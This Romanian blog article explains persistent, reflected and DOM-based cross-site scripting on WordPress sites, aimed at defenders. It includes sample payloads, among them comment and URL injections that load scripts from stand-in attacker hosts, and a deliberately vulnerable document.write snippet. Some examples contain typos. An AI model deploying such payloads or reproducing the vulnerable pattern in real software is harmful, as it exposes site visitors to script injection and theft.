Tipuri de atacuri Cross-Site Scripting (XSS).
Publicat: 2022-11-04În articolul nostru anterior despre WordPress și Cross-Site Scripting, am luat o viziune la nivel înalt despre ceea ce sunt aceste tipuri de atacuri și cum le puteți preveni. În acest articol, vom aborda în profunzime câteva detalii, împreună cu câteva exemple de scripturi între site-uri. Sa mergem!
XSS persistent
XSS persistent (sau XSS stocat) este unul dintre tipurile majore de scripturi între site-uri. Se numește persistent deoarece ceea ce injectează atacatorul este stocat permanent pe server pentru a fi utilizat ulterioară. Ori de câte ori un vizitator merge la o anumită pagină, codul este executat de browser la încărcare sau când este apelată o anumită funcție.
Exemplu XSS persistent :
Să presupunem că în secțiunea de comentarii de sub o postare, cineva introduce un script de alertă împreună cu un simplu răspuns/opinie.
Great solution! It works for me.<script>alert("Some text message")</script>
Dacă secțiunea de comentarii este vulnerabilă și comentariile care sunt trimise nu sunt igienizate, atunci acest cod va fi salvat în baza de date. Ca urmare, de atunci încolo, ori de câte ori pagina este încărcată (de oricine) și „comentarul rău” este vizibil împreună cu toate comentariile, va apărea o fereastră pop-up cu mesajul.
Desigur, un mesaj de alertă poate fi enervant, dar nu chiar dăunător. Dar, ce se întâmplă dacă atacatorul introduce un script rău intenționat în loc de mesajul de alertă ca acesta:
Great solution! It works for me.<script scr="http://attackerswebsite.com/maliciousscript.js">
În loc de un pop-up enervant, utilizatorul final va experimenta atacul XSS. Daunele vor depinde de tipul de cod executat. De aceea, atacurile XSS stocate sunt considerate atât de periculoase. Ei atacă fiecare utilizator și nici măcar nu necesită nicio intrare din partea utilizatorului (bara care deschide pagina în primul rând).
XSS nepersistent
Deși nu sunt la fel de periculoase ca XSS persistente, XSS nepersistent (sau reflectorizant) sunt încă problematice, nu în ultimul rând deoarece sunt recunoscute ca fiind cel mai comun tip de atac de scripting între site-uri.
În esență, ceea ce se întâmplă într-un atac XSS nepersistent este că utilizatorul final face clic pe un link rău intenționat care îl va trimite către un alt site web care va declanșa o execuție proastă a codului. Atacul se face printr-o adresă URL sau parametri HTTP pregătiți și nu este salvat permanent în baza de date ca în XSS Persistent.
Dar înainte de a efectua un atac nepersistent, atacatorul trebuie să identifice dacă un site web este vulnerabil la atacurile XSS. O modalitate de a face acest lucru este utilizarea motorului de căutare intern al site-ului. Dacă introduceți un șir, să spunem „pantofi” pentru a căuta și apăsați butonul, se execută o funcție care arată astfel:
http://exampledomain.com?query=shoes
Înainte de a rula funcția, totuși, șirul pe care l-ați introdus este dezinfectat, sau cel puțin ar trebui să fie, astfel încât formularul de căutare să fie protejat de intrările rău intenționate.
Atacatorul poate folosi formularul de căutare și poate încerca să introducă un script ca acesta:
<script type="text/javascript">alert("vulnerable");</script>
Dacă formularul nu este igienizat, va rula funcția în mod normal:
http://exampledomain.com?query=<script type="text/javascript">alert("vulnerable");</script>
Acest lucru ar duce (în acest exemplu) la afișarea pop-up-ului de alertă. Acesta este momentul în care atacatorul știe că formularul de căutare are o vulnerabilitate XSS.

Exemplu XSS nepersistent
În cazul în care o vulnerabilitate este descoperită pe un site, un atacator poate alege să creeze o adresă URL care arată astfel:
http://exampledomain.com?query=shoes<\script%20src="http://attacker-site.com/malicious-code.js"
Apoi „maschează” adresa URL, astfel încât să nu arate ca un link „proastă” și încearcă să îi încurajeze pe alții să facă clic pe acesta. De obicei, aceasta ar putea fi trimiterea mea de e-mailuri spam sau poate includerea unui link pe un forum.
XSS bazat pe DOM
În timpul unui incident XSS bazat pe DOM (sau XSS pe partea clientului), atacul este transmis printr-o adresă URL care conține codul rău intenționat.
De asemenea, este considerată o vulnerabilitate la nivelul clientului, deoarece este executată în browserul victimei, dar ceea ce se întâmplă aici este că o parte din DOM este modificată, ceea ce determină clientul să ruleze cod, fără acordul acestuia.
NOTĂ: Document Object Model (DOM) este o interfață care definește structura de aspect a unei pagini web prin conectarea limbajului de scripting la pagina web reală. Pentru a realiza acest lucru, permite dezvoltatorilor să acceseze documentul și să execute operațiuni pentru a actualiza conținutul.
Exemplu XSS bazat pe DOM:
Un exemplu de atac de scripting încrucișat bazat pe DOM poate fi demonstrat cu un formular care vă permite să alegeți o opțiune, cum ar fi țara de reședință. Să vedem cum s-ar derula asta cu exemplul de mai jos:
Select your country: <select><script> document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("country=")+8))+"</OPTION>"); document.write("<OPTION value=2>USA</OPTION>"); document.write("<OPTION value=2>Brazil</OPTION>"); </script></select>
Deci, o pagină cu o opțiune aleasă în formular poate fi accesată printr-o adresă URL cum ar fi:
http://localhost/?country=Lithuania

Dar dacă încercați o intrare ca aceasta (vezi mai jos), atunci browserul va crea un obiect DOM care conține acel șir și va executa scriptul.
http://localhost/?country=Lithuania
Acest lucru se întâmplă deoarece formularul este neprotejat și codul inițial nu este pregătit pentru nicio markup HTML. Deci, ceea ce face este să atragă DOM-ul în pagină și să ruleze scriptul rău intenționat.
Atacurile XSS sunt prea frecvente. O modalitate simplă de a vă proteja cât mai bine posibil este să păstrați întotdeauna pluginurile la zi pe site-ul dvs. WordPress și să utilizați o gazdă de înaltă calitate. Sperăm că aceste exemple v-au dat o idee despre cum funcționează aceste tipuri de atacuri și la ce să fiți atenți!